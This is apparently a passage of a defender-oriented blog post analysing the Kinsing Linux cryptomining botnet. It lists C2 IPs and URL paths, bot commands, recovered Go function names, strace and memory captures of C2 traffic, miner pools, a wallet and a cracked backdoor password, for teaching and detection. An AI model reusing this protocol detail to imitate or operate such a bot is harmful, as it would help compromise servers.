Thursday, November 12, 2026

MMD-071-2026 KinsingBot a well-designed Linux botnet a while ago.. until recent.

Part I — Malware analysis

《 1. Introduction 》

Read & use this knowledge with caution, this post is a Linux threat analysis education material

This is a public threat basis, there is no specific cases I handled is in relation to this threat, I have been kept following its progress for 4-5 years, and I think it is a good time to inform widely how dangerous the well-planned Linux malware/botnet would look like in this post. It has been more than six years since I finalized the first analysis and following it afterward. I have made sure that the botnet infrastructure described here is mostly inactive now, bare to old IOC for that is the safely state to share. And I think it is a good time for all of us to look back at how rude this malware was.

For learning and research reference, this material is a good example of how a Linux malware can do damage at multiple levels through worm-like infection stages — from one weak Redis or one leaked SSH key to a whole fleet of servers mining for somebody else.

Please do not use this report for bad purposes. The malicious scripts in this post are shown as images on purpose; they are here to be read and understood, not to be used nor run.

Linux/Kinsing is a Go-written ELF bot with remote command execution, coded by an actor who calls himself "nook" and operated by the SystemTen gang. The bot is mainly used to plant a tweaked XMRig miner, but it does much more than mining: encrypted C2 tasking, an on-demand backdoor, a SOCKS proxy, mass-scanning, Redis AUTH brute-forcing and SSH-key based spreading.

The infrastructure in this post is from the 2019–2020 case and is dead now, but the family is not. Kinsing (also tracked as H2Miner) kept evolving after this analysis, for example targeting Apache Tomcat servers in 2024 (Tenable) and running campaigns against companies in Russia in 2025 (F6 on Habr). So the techniques you will learn here are still relevant for defenders today.

■ How to read this post

  • The case was reversed with radare2 and confirmed with syscall tracing (strace) and memory forensics on a recorded test infection.
  • Gray ▸ lines are my original analysis notes, kept word for word.
  • Dark code boxes hold dumps and indicators; the lines that matter most are highlighted in red.
  • What to learn here boxes explain, for students, what you should take away from each piece of data.
  • The chapters follow the attack from the binary → the network → the infection steps → spreading → detection.
 What to learn here
  • Never run real samples outside an isolated lab (no bridged network, snapshots ready, no real credentials or SSH keys inside).
  • A good analysis combines static reversing (what the code can do) with dynamic tracing and forensics (what it actually did). This post uses both.

《 2. Threat information and the bot scheme 》

// Threat information/bot scheme //
Read & use this knowledge with caution, this post is a Linux threat analysis education material

This chapter puts the whole case in one place: what this bot is, who coded it, where Patient-0 got it from and why it is dangerous. Every point is detailed in the later chapters.

SystemTen used new ELF bot with RCE function for mining support

They called this bot as "kinsing" coded by "nook"

The initial script installer & miner ELF file were embedded

It is an evolution moniker of this bot: https://imgur.com/a/H7YuWuj

Case detection dated: Dec, 2019. Threat origin: PRC/China

Patient0 had infection from pastebin at https://pastebin.com/f4fYBPLe

This bot has a built in function to scan+infect a weak auth redis system.

The massscan fucntion is downloading ssh scanner tool to be executing from the bot RCE.

RCE and backdoor function is lethal to the system infected by suid0, and-

critical infrastructure server's data can be posted to the C2 by backdoor or HTTP in encrypted form.

Severity: High.

The evolution of the bot's moniker is recorded here: imgur.com/a/H7YuWuj.

 What to learn here
  • Start every report with a short executive summary: what the threat is, how it gets in, what it does and how bad it is. Busy readers may read only this part.
  • Note the initial vector (here a Pastebin-hosted script) separately from the capabilities (RCE, scanning, brute-force, backdoor). Defenders need both.

《 3. Binary information and major functionality 》

The sample is a big (16 MB+) statically compiled Go 1.13 ELF for x86-64, stripped. Go static binaries are fat because the whole runtime and every imported library are linked in. Most of the size is library code; the malicious logic sits in the main.* package.

▸ Binary information
MD5 6bffa50350be7234071814181277ae79 (VT has sample, not exclusive)
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Size 16.28 MB (17072128 bytes)
GoLang 1.13 static compiled ELF,
 What to learn here
  • Always record the hashes and the file output first. They are your pivot points for VirusTotal, sandboxes and colleagues. (Adding SHA-256 is today's standard.)
  • "statically linked, stripped" means there are no dynamic imports to read. For Go, function names still survive in .gopclntab, so use Go-aware tooling (radare2 Go analysis, GoReSym, redress).
  • A 16 MB binary for a "simple bot" is a hint that something is embedded inside. Later we find a miner and scripts packed in it.
▸ Major Functionality:
  • Embedding miner binary and shell script installer
  • Networking is on HTTP, supporting http with proxy and socks5
  • File creation, file deletion, file dropping, file downloading,
  • Receiving command from C2 on encrypted HTTP communication & execution them.
  • Scanning redis servers, bruteforce them
  • Having Remote Command Execution to OS command or execution on shellscripts.
  • Have a self updating scheme.
  • Have the persistence installer scheme, persistent on crontab
  • Have specific commands for miner infection and management purpose.
  • The bot downloads and drops scripts that can uninstall legit systems and can replace them with malicious contents.
  • The bot C2 is more than 4.
  • The callback IP addresses for the bot and script installers is more than 5.
  • Infected machine data is sent to C2 via HTTP header and bot sent HTTP data encrypted traffic.
  • The backconnect command also exists for reverse shell purpose.
  • Has the backdoor function
 What to learn here
  • Turn a capability list like this into questions for your analysis: where is the code for each item, and what evidence (traffic, files, processes) does each one leave?
  • Several items here (crontab persistence, uninstalling security agents, killing other miners) are typical of the Linux cryptojacking ecosystem, not only of kinsing.

《 4. C2, protocol and network indicators 》

The C2 list is hardcoded in the binary as one string separated by ;http://. The bot simply tries the C2s one by one over plain HTTP on tcp/80.

▸ C2: (in bot)
45.10.88.102:80
91.215.169.111:80
139.99.50.255:80
46.243.253.167:80
195.123.220.193:80
▸ saved in this part
[0x01193247 [Xadvc]3 22% 2304 kinsing]> prx @ hit2_1
- offset -   0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0x01193247  45.10.88.102;http://91.215.169.111;http://139.99.50.255;http://4
0x01193287  6.243.253.167;http://195.123.220.193............................
0x011932c7  ................................................................
 What to learn here
  • Searching strings with radare2 (/ http:// and then printing the hit) is often the fastest way to find C2s in a bot. Notice how the list is packed into one string.
  • Five C2s give redundancy: blocking only one of them does not stop the bot. Always collect the full list.
▸ Protocol
HTTP/1.1, port tcp/80
▸ user-agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
▸ http request header will contain the infected machine info:
Arch: {CPU Architecture}
Cores: {CPU Core numbers}
Mem: {Active allocable memory}
Os: {linux}
Osname: {distribution info}
Osversion: {OS version}
Root: {true|false}
Uuid: {BOT UUID}
Version: {28}
 What to learn here
  • The User-Agent pretends to be Chrome 78 on Windows, which is a strange choice for a Linux server bot. This kind of mismatch is a classic network detection idea.
  • The custom headers (Arch, Cores, Mem, Os, Uuid, Version) are sent in clear text. They make a very reliable IDS signature even though the body is encrypted.
▸ C2 comm data
all traffic data comm are encrypted with RSA, private key is in the bot binary
 What to learn here
  • When the private key is inside the bot, the "encryption" protects the operator only from casual eyes. An analyst who extracts the key can decrypt the traffic. The key is shown in the captured traffic chapter.
▸ related outgoing traffic IP:(from embeded & downloaded scripts, included attacker's made pool embedded miner, note: some are changed and gone now)
embeded, and downloaded scripts:
  217.12.221.244:80
  195.3.146.118:80

miner pools set by the bad actor:
  stratum+tcp: // 45[.]89.230.240:80
  stratum+tcp: // 178[.]170.189.5:80
  stratum+tcp: // 92[.]63.99.17:80
▸ miner ID
pass x
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
 What to learn here
  • Mining pools and a wallet address tie infections together. The same wallet across many cases means the same operator, which is useful for clustering in CTI.
  • Note the trick of running stratum over port 80 so the traffic blends in with normal web traffic and passes simple firewalls.

《 5. Bot commands and C2 URL scheme 》

Each C2 task arrives as a command keyword, and each keyword maps to a Go function in the main package. The table below pairs each original function with the command that triggers it.

▸ bot commands
BOT FUNCTIONS() ,   BOT COMMANDS
-------------------------------
runTaskWithHttp()  // "request"
runTaskWithScan()  // "scan"
updateTask()       // "update"
startCmd()         // "exec"
execTaskOut()      // "execoutput"
runTask(),tcpTask()// "tcp"
masscan()          // "massscan"
backconnect()      // "backconn"
socks()            // "socks"
makeClient()       // "up"
redisBrute()       // redis_brute
 What to learn here
  • Mapping command → function is the core of bot reversing. Once you have this table you can explain every capability and predict the traffic for each command.
▸ Some of bot actions fetched C2 traffic commands are actutally URLs the POST'ed commands on "s" and "o" which is sending data to C2 "h, get, hers" etc are using HTTP get spre.sh, al.sh, cron.sh and kinsing are downloading asked files
http://{C2-IP}/s        => POST initial infection data
http://{C2-IP}/h        => reply "c." (up)
http://{C2-IP}/get      => receiving encrypted command
http://{C2-IP}/hers     => UNKNOWN
http://{C2-IP}/mg       => UNKNOWN
http://{C2-IP}2/o       => post encrypted DATA
http://{C2-IP}/spre.sh  => updater for kinsing installer script
http://{C2-IP}/al.sh    => uninstaller for services like quartz etc
http://{C2-IP}/cron.sh  => persistence installer
http://{C2-IP}/kinsing  => update bot binary url
 What to learn here
  • Short URL paths like /s, /h, /get and /o are the bot's API. They are great for hunting in proxy logs: look for the paths together with the custom headers from the network chapter.
  • "UNKNOWN" entries are honest analysis: write down what you could not confirm instead of guessing. That is the check-and-recheck habit.

《 6. Captured C2 traffic and the embedded RSA key 》

The snippets below are memory captures taken while the bot was running, which is the forensic view of the same traffic. They show that the clear-text HTTP header leaks the victim's profile, while the body is encrypted.

▸ Snip of bot used send traffic command in forensics action (request to install crontab)
(request)
memory dump: GET /cron.sh request (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
memory dump: GET /cron.sh reply (cron installer) (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
  • Finding the full downloaded script inside process memory proves it was fetched and handled by the bot. That is stronger evidence than a URL in the binary.
  • Look at the reply header too: Server: nginx/1.14.2 and Last-Modified help you fingerprint and date the attacker's server.
(post)
0xc000185000  504f 5354 202f 6f20 4854 5450 2f31 2e31 0d0a 486f  POST /o HTTP/1.1..Ho
0xc000185014  7374 3a20 3931 2e32 3135 2e31 3639 2e31 3131 0d0a  st: 91.215.169.111..
0xc000185028  5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 6c6c 612f  User-Agent: Mozilla/
0xc00018503c  352e 3020 2857 696e 646f 7773 204e 5420 3130 2e30  5.0 (Windows NT 10.0
0xc000185050  3b20 5769 6e36 343b 2078 3634 2920 4170 706c 6557  ; Win64; x64) AppleW
0xc000185064  6562 4b69 742f 3533 372e 3336 2028 4b48 544d 4c2c  ebKit/537.36 (KHTML,
0xc000185078  206c 696b 6520 4765 636b 6f29 2043 6872 6f6d 652f   like Gecko) Chrome/
0xc00018508c  3738 2e30 2e33 3930 342e 3130 3820 5361 6661 7269  78.0.3904.108 Safari
0xc0001850a0  2f35 3337 2e33 360d 0a43 6f6e 7465 6e74 2d4c 656e  /537.36..Content-Len
0xc0001850b4  6774 683a 2032 300d 0a41 7263 683a 2061 6d64 3634  gth: 20..Arch: amd64
0xc0001850c8  0d0a 436f 6e74 656e 742d 5479 7065 3a20 6170 706c  ..Content-Type: appl
0xc0001850dc  6963 6174 696f 6e2f 6f63 7465 742d 7374 7265 616d  ication/octet-stream
0xc0001850f0  0d0a 436f 7265 733a 2031 0d0a 4d65 6d3a 2032 3434  ..Cores: 1..Mem: 244
0xc000185104  0d0a 4f73 3a20 6c69 6e75 780d 0a4f 736e 616d 653a  ..Os: linux..Osname:
0xc000185118  2064 6562 6961 6e0d 0a4f 7376 6572 7369 6f6e 3a20   debian..Osversion:
0xc00018512c  372e 3131 0d0a 526f 6f74 3a20 6661 6c73 650d 0a55  7.11..Root: false..U
0xc000185140  7569 643a 2033 3066 3433 3762 332d 6338 3836 2d34  uid: 30f437b3-c886-4
0xc000185154  6130 652d 3732 3334 2d34 6630 3335 3237 3833 3665  a0e-7234-4f03527836e
0xc000185168  370d 0a56 6572 7369 6f6e 3a20 3238 0d0a 4163 6365  7..Version: 28..Acce
0xc00018517c  7074 2d45 6e63 6f64 696e 673a 2067 7a69 700d 0a0d  pt-Encoding: gzip...
0xc000185190  0a57 7a68 50cb 0cdf 76fb 128e d736 14b3 4aa1 2953  .WzhP...v....6..J.)S
 What to learn here
  • Read the hexdump columns: offset | hex bytes | ASCII. The ASCII column shows the victim profile headers (Arch amd64, 1 core, Debian 7.11, not root), followed by the encrypted body.
(receiving instruction)
0xc000184000  4854 5450 2f31 2e31 2032 3030 204f 4b0d 0a53 6572  HTTP/1.1 200 OK..Ser
0xc000184014  7665 723a 206e 6769 6e78 2f31 2e31 302e 330d 0a44  ver: nginx/1.10.3..D
0xc000184028  6174 653a 2053 756e 2c20 3136 2046 6562 2032 3032  ate: Sun, 16 Feb 202
0xc00018403c  3020 3131 3a33 323a 3432 2047 4d54 0d0a 436f 6e74  0 11:32:42 GMT..Cont
0xc000184050  656e 742d 5479 7065 3a20 7465 7874 2f70 6c61 696e  ent-Type: text/plain
0xc000184064  3b20 6368 6172 7365 743d 7574 662d 380d 0a43 6f6e  ; charset=utf-8..Con
0xc000184078  7465 6e74 2d4c 656e 6774 683a 2032 0d0a 436f 6e6e  tent-Length: 2..Conn
0xc00018408c  6563 7469 6f6e 3a20 6b65 6570 2d61 6c69 7665 0d0a  ection: keep-alive..
0xc0001840a0  0d0a 6313 577a 6850 cb0c df76 fb12 8ec7 2e10 b74a  ..c.WzhP...v.......J
0xc0001840b4  a129 158e 17bc b9af b2ed e55c c645 9518 4e85 78da  .).........\.E..N.x.
0xc0001840c8  9b95 2511 fe3f 87ae 13ac edbe baac 7270 04b4 2f62  ..%..?........rp../b
0xc0001840dc  d8b5 2f8f 8680 9485 e0c9 5900 ee9f 26c0 fe2c 6f9b  ../.......Y...&..,o.
0xc0001840f0  0d93 333b fbef ee7e 72d2 b8c4 7d4d 1716 5732 9f01  ..3;...~r...}M..W2..
0xc000184104  c559 4064 d108 514a d02e eed5 3b9f 72b1 a212 bf2e  .Y@d..QJ....;.r.....
0xc000184118  ee51 5a64 68ac 1b93 ac38 2001 b802 0fc0 4806 c1b1  .QZdh....8 .....H...
0xc00018412c  f982 6b00 0000 0000 0000 0000 0000 0000 0000 0000  ..k.
 What to learn here
  • Content-Type: text/plain on an encrypted binary blob is another anomaly worth a detection rule.
▸ The bot is using RSA private key for C2 communication
RSA private key found in bot memory (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
  • Hardcoded keys are a gift to analysts. With this key the C2 commands can be decrypted, which is exactly how the backdoor configuration was recovered.
  • Memory forensics often recovers secrets that never touch the disk. Dump the process memory before you kill the process.

《 7. Bot overall design 》

This is the whole picture in one textual diagram. Read it from the top-left: the installer (or the Pastebin script) brings in the kinsing ELF; kinsing drops its embedded script and its embedded miner; the C2 command actions then branch out into script execution, cron persistence, mass-scanning, killing services and Redis AUTH brute-forcing. Finally spre.sh loops back to the installer for self-updating.

▸ BOT OVERALL DESIGN
kinsing — BOT OVERALL DESIGN
 +--------------------+
 | kinsing installer/ |    +----------------------------------------<---------------------+
 | pastebin script    |    |                                                              |
 +--------+-----------+    |                                                              |
          |                v                                                              |
          |   +------------------+                                                        |
          +-> |  kinsing ELF     |                                                        |
 +--------->  +------------------+        +----------------+                              |
 |            |  embedded script +------> |  /tmp/.ICEd-uni+---+                          |
 |            +------------------+        +----------------+   |                          |
 |            |                  |        +----------------+   |  +------------------+    |
 |            |  embedded ELF    +------> |  /tmp/kdevtmpfs|   +->|  downloaded      |    |
 |            +--------+---------+        |                |      |  spre.sh (updater|-->-+
 |                     |                  +----------------+      +------------------+
 |                     |
 |                     |              +-----------------------------+      +-------------------+
 |                     |              |   C2 bot command's actions  |----> |C2 script execution|
 |                     +------------> |-----------------------------|      +-------------------+
 |                                    |                             |
 |                                    |   http://{C2-IP}/s          |      +-------------------+
 |                                    |   http://{C2-IP}/h          |----> |cron installer/sh  |
 |                                    |   http://{C2-IP}/get        |      +-------------------+
 |                                    |   http://{C2-IP}/hers       |      +-------------------+
 +-----------<------------------------|   http://{C2-IP}2/o         |----> | massscan script   |
                                      |   http://{C2-IP}/spre.sh    |      +-------------------+
                                      |   http://{C2-IP}/al.sh      |      +-------------------+
                                      |   http://{C2-IP}/cron.sh    |----> |svc uninstaller/sh |
                                      |   http://{C2-IP}/kinsing    |      +-------------------+
                                      |                             |      +-------------------+
                                      |                             |----> | Redis access brute|
                                      +-----------------------------+      +-------------------+
Legend: ■ boxes   ■ flow   ■ C2 URL actions   ■ dropped files   ■ components
 What to learn here
  • Draw a diagram like this before you write the report. It forces you to understand how the parts connect, and readers grasp a design far faster from a picture than from text.
  • Notice the two loops: the C2 → bot loop (tasking) and the spre.sh → installer loop (self-update). Loops like these make malware resilient, because cleaning one part is not enough.

《 8. Full list of kinsing main functions 》

These are the original main.* function names recovered from the stripped Go binary, with their addresses. Go keeps function names in .gopclntab even when the binary is stripped, which is why reversing Go bots is easier than it first looks.

▸ Full list of original main functions used by kinsing bot
doTask                          =   0x0790B70
main                            =   0x0792560
redisBrute                      =   0x07A1A60
DownloadFile                    =   0x0799B40
Hosts                           =   0x07A2180
RC4                             =   0x079A270
RandStringRunes                 =   0x07A2080
addResult                       =   0x079B1F0
backconnect                     =   0x079F2F0
checkHealth                     =   0x0798E80
connectForSocks                 =   0x079B420
contains                        =   0x07A2480
copyFileContents                =   0x0795A70
doRequestWithTooManyOpenFiles   =   0x079A420
downloadAndExecute              =   0x07A1A10
encStruct                       =   0x0799A90
execTaskOut                     =   0x079C3B0
getMinerPid                     =   0x0798A40
getOrCreateListForTaskResult    =   0x079B290
getOrCreateUuid                 =   0x079B7A0
getTargets                      =   0x07969B0
getTask                         =   0x0796530
getWriteableDir                 =   0x0795C40
hash_file_md5                   =   0x07A2540
healthChecker                   =   0x07939C0
init                            =   0x07A49A0
init_0                          =   0x0792380
isMinerRunning                  =   0x0793DA0
makeClient                      =   0x079A0C0
masscan                         =   0x079E5A0
minRun                          =   0x0794290
minerRunningCheck               =   0x0793B20
move                            =   0x079B980
request                         =   0x079F340
resultSender                    =   0x079AD80
runTask                         =   0x079BB00
runTaskWithHttp                 =   0x079C400
runTaskWithScan                 =   0x079CCD0
runcmd                          =   0x0790F60
sendMinerPid                    =   0x0798600
sendResult                      =   0x0797A10
sendSocks                       =   0x0798130
setExecOutput                   =   0x07995E0
setLog                          =   0x0799160
socks                           =   0x079F2A0
startCmd                        =   0x07914A0
startCmdWithOutputSingle        =   0x0791960
startSocks                      =   0x0795E40
taskScan                        =   0x079E2A0
taskWithHttpWorker              =   0x079C9B0
taskWithScanWorker              =   0x079D070
taskWorker                      =   0x079C0A0
tcpTask                         =   0x07A0A50
updateTask                      =   0x079D390
 What to learn here
  • Group the names by purpose: tasking (getTask, runTask*), mining (minRun, isMinerRunning), spreading (masscan, redisBrute), remote access (backconnect, socks) and housekeeping (healthChecker, getOrCreateUuid). This grouping becomes your report outline.
  • Interesting names to read first: RC4 and encStruct (crypto), and getWriteableDir (where it drops files).

《 9. Infection state (recorded test) 》

// Infection state (recorded test)//

Recorded test infection. The lsof view shows the lock file, the backdoor socket already LISTENing, the C2 sessions and a deleted work file under /tmp/.ICEd-unix/. The process tree shows kinsing re-forked and detached, living like a daemon under init.

kinsing   2721 MMD  cwd    DIR    8,1     4096  397369 /home/test
kinsing   2721 MMD  rtd    DIR    8,1     4096       2 /
kinsing   2721 MMD  txt    REG    8,1 17072128  396829 /home/test/kinsing
kinsing   2721 MMD    0r   CHR    1,3      0t0    1205 /dev/null
kinsing   2721 MMD    1w   CHR    1,3      0t0    1205 /dev/null
kinsing   2721 MMD    2w   CHR    1,3      0t0    1205 /dev/null
kinsing   2721 MMD    3uW  REG    0,15       0    5995 /run/lock/linux.lock
kinsing   2721 MMD    4u   0000    0,9       0    1203 anon_inode
kinsing   2721 MMD 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
kinsing   2721 MMD    5r   CHR    1,9      0t0    1210 /dev/urandom
kinsing   2721 MMD    6u  IPv4   6029      0t0     TCP 10.0.2.15:42646->91.215.169.111:80 (CLOSE_WAIT)
kinsing   2721 MMD    9r  IPv4   6671      0t0     TCP 10.0.2.15:42654->91.215.169.111:80 (ESTABLISHED)
kinsing   2721 MMD   12r   REG    8,1        4 1310783 /tmp/.ICEd-unix/259292916 (deleted)
kinsing   2721 MMD   13u  IPv4   6515      0t0     TCP 10.0.2.15:50261->217.12.221.244:80 (ESTABLISHED)
 What to learn here
  • lsof -p <pid> is one of the best live-response commands on Linux. In one view you get files, sockets, the lock file and even deleted files that are still open.
  • A file marked (deleted) can still be recovered from /proc/<pid>/fd/<n> while the process runs. Grab it before you kill the process!
process tree after infection
init
  ├─udevd --daemon
  │   ├─udevd --daemon
  ├─rpcbind -w
  ├─rpc.statd
  ├─rpc.idmapd
  ├─rsyslogd -c5
  │   └─3*[{rsyslogd}]
  ├─acpid
  ├─getty 38400 tty1
  ├─getty 38400 tty2
  ├─getty 38400 tty3
  ├─getty 38400 tty4
  ├─getty 38400 tty5
  ├─getty 38400 tty6
  |
  ├─kinsing           <==== // after re-forked & detached from-
  │   └─5*[{kinsing]        // environment, runs like daemon
 What to learn here
  • A process that is a direct child of init/systemd, not attached to any terminal and named like nothing you installed deserves a look. Daemonizing hides the process's origin, but not its parent.

《 10. Infrastructure used by the attacker 》

// Infrastructure used by attacker//

All IPs found in the bot, its scripts and its miner configuration, with reverse DNS, ASN, prefix, AS name and country. The C2 and download servers are spread over hosting in UA, RU, NL, FR and LV.

45.10.88.102 | takewyn4.com.ntup.network. |48693 | 45.10.88.0/23 | NTSERVICE-AS | UA
91.215.169.111 | bh63797.dnsrus.net. |49693 | 91.215.168.0/22 | BEST-HOSTER | RU |
139.99.50.255 | ip255.ip-139-99-50.net. |16276 | 139.99.0.0/17 | OVH | FR |
46.243.253.167 |  |58272 | 46.243.253.0/24 | LEADERTELECOMBV-AS | NL |
195.123.220.193 | vds-426960.hosted-by-itldc.com. |21100 | 195.123.216.0/21 | ITLDC-NL | UA |
217.12.221.244 | vds-448534.hosted-by-itldc.com. |15626 | 217.12.220.0/22 | ITLAS | UA |
195.3.146.118 |  |41390 | 195.3.144.0/22 | RN-DATA- | LV |
45.89.230.240 |  |51659 | 45.89.230.0/24 | ASBAXET | RU |
178.170.189.5 |  |58272 | 178.170.189.0/24 | LEADERTELECOMBV-AS | NL |
92.63.99.17 | k0miza2.vps. |29182 | 92.63.96.0/21 | THEFIRST-AS | RU |
 What to learn here
  • Enrich every IP with ASN, prefix and hosting provider. Patterns (cheap VPS providers, the same AS used twice, such as AS58272 here) help you find more attacker servers.
  • Infrastructure changes quickly. Always record the date you observed it, and re-check before blocking.

《 11. The backdoor function 》

// the backdoor function //

The backdoor is not always on. It is opened on demand by the C2, and the port and password are chosen by the attacker for each session.

▸ socket opened at TCP binding
kinsing 2721 MMD 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
▸ checking
$ nc -v -v -v -z localhost 31652
localhost [127.0.0.1] 31652 (?) open
scan
test
sent 10, rcvd 0
$
▸ backdoor, configuration cracked: :)
{
   {
    "Id":516,
    "Data":""
    }
      "Pass":"qmjiHfuW",
      "Port":31652
} keep-alive 31652
this backdoor is as the result of the function backconnect.
the trigger of the backdoor is the command from C2 called backconn.
the attacker will send the encrypted REST API and that will open the backdoor in the client.
the port number is depend on the attacker, no significant port is open.
Decrypted command from c2 will look like below:
{"Id":504,"Data":""}Pass":"SkMNRTlf","Port":31105}
it will include the port number and the password backdoor.
 What to learn here
  • A random high port opening suddenly (here 31652) on a server is a strong signal. Baseline the listening ports on your servers and alert on new ones.
  • Testing the port with nc safely confirmed it was open. Cracking the config then explained why it opened. Use both: observe, then explain.

《 12. How the process works, step by step 》

// How the process works in steps //

Now let's follow the infection step by step, as recorded by syscall tracing and confirmed by memory forensics. Each sub-section follows the order in which things happen on the infected box.

■ 11.1 Lock file, work directory, dropped files and host profiling

▸ lock file:
/var/lock/linux.lock
▸ temp path:
/tmp/.ICEd-unix/
▸ drops uuid, miner and miner botnet scripts
/tmp/.ICEd-unix/uuid // bit ID (uuid)
/tmp/.ICEd-unix/{random} // shell scriptinstaller placeholder/work files
/tmp/kdevtmpfs (miner)
▸ info-reading
/etc//localtime
/proc/stat
/usr/bin/getconf -a
/proc/meminfo
uuid
/etc/lsb-release
/usr/local/bin/lsb_release
/usr/bin/lsb_release
/proc/meminfo
/proc/filesystems",
 What to learn here
  • A lock file stops two copies of the bot from running at once. For defenders it is also a cheap host IOC.
  • /tmp/.ICEd-unix/ imitates the legitimate X11 directory /tmp/.ICE-unix/, and the miner name kdevtmpfsi imitates the kernel's kdevtmpfs. One letter of difference is a classic masquerading trick.
▸ read all installed python tools & read package/arch/info etc
readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
/usr/bin/lib/python2.7/lib-dynload"
 :
execve("/usr/local/bin/dpkg-query"
execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"
read(3, "/usr/share/info install-info\n/usr/man man-db\n/usr/share/man man-db\n
         /usr/local/man man-db\n/usr/local/share/man man-db\n/usr/X11R6/man.....
/var/lib/dpkg/triggers/Unincorp"
 What to learn here
  • Profiling the OS, package manager and Python install tells the bot how to install things later (yum or apt). Bursts of reads of /etc/*-release and dpkg files from an unknown process are suspicious.

■ 11.2 First contact to the C2: the "up" handshake and getting tasks

▸ Initial connect C2 like this:
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP)
setsockopt(6, SOL_SOCKET, SO_BROADCAST, [1], 4)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("45.10.88.102")}, 16 <unfinished ...>
getsockopt(6, SOL_SOCKET, SO_ERROR,  <unfinished ...>
close(6)
▸ (reconnect to other IP after failed w same method
▸ IF success C2 connect, it receives "up" sign
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.215.169.111")}, 16 <unfinished ...>
getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.215.169.111")}, [16]) = 0
write(6, "GET /h HTTP/1.1\r\nHost: 91.215.169.111\r\n
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
         AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
         Arch: amd64\r\n
         Cores: 1\r\n
         Mem: 244\r\n
         Os: linux\r\n
         Osname: debian\r\n
         Osversion: 7.11\r\n
         Root: false\r\n
         Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
         Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");

read(6, "HTTP/1.1 200 OK\r\n
         Server: nginx/1.10.3\r\n
         Date: Thu, 13 Feb 2020 09:35:38 GMT\r\n
         Content-Type: text/plain; charset=utf-8\r\n
         Content-Length: 2\r\n
         Connection: keep-alive\r\n\r\n
         c\23", 4096)
▸ So the "h" command is replied by "c." for initial infection callback comm. decoded as "up", then it runs next related functions
write(6, "GET /get HTTP/1.1\r\nHost: 91.215.169.111\r\n
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
         AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
         Arch: amd64\r\n
         Cores: 1\r\n
         Mem: 244\r\n
         Os: linux\r\n
         Osname: debian\r\n
         Osversion: 7.11\r\n
         Root: false\r\n
         Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
         Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");

read(6, "HTTP/1.1 200 OK\r\n
         Server: nginx/1.10.3\r\n
         Date: Thu, 13 Feb 2020 09:35:49 GMT\r\n
         Content-Type: text/plain; charset=utf-8\r\n
         Content-Length: 140\r\n
         Connection: keep-alive\r\n\r\n
         WzhP\313\f\337v\374\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\30N\205x\332\233\225%\21\376?\207\256\23\254\355
         \276\262\254sz\7\241!\24\343\256:\202\310\230\237\202\347\300P\7\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\33\304
         \17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\214[\5\201\354\342\3104\35", 4096) = 304
▸ unescape as encrypted:
         WzhP313f337v37422216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?20725623254355
         276262254sz7241!24343256:202310230237202347300P7364221P374344;k236K2138&365235321ct204240317`Ca+S:22533304
         17Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35276224214[5201354342310435
 What to learn here
  • strace shows the exact bytes the bot writes to and reads from the socket, which is much clearer than a pcap when the protocol is custom.
  • Failover behavior (trying the next C2 after a failed connect) explains why you see SYNs to several IPs from one infected host.

■ 11.3 The embedded SSH spreader script

▸ Receiving this response , the bot drops the random file with regex [A-za-z]{5} in below path:
openat: dropping the random-named script (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ the random file is the script embedded in the bot binary encoded by base64 and compressed with zlib, contents of shell script:

The script collects private keys, users, hosts and SSH ports from ~/.ssh/config, known_hosts, /etc/hosts, bash histories and running processes. It then tries every combination to push the installer to other machines. This is worm-like lateral movement that abuses keys the victim already trusts.

embedded spreader script (dropped to /tmp/.ICEd-unix/) (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(forensics in action)
memory dump: spreader script in bot memory (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
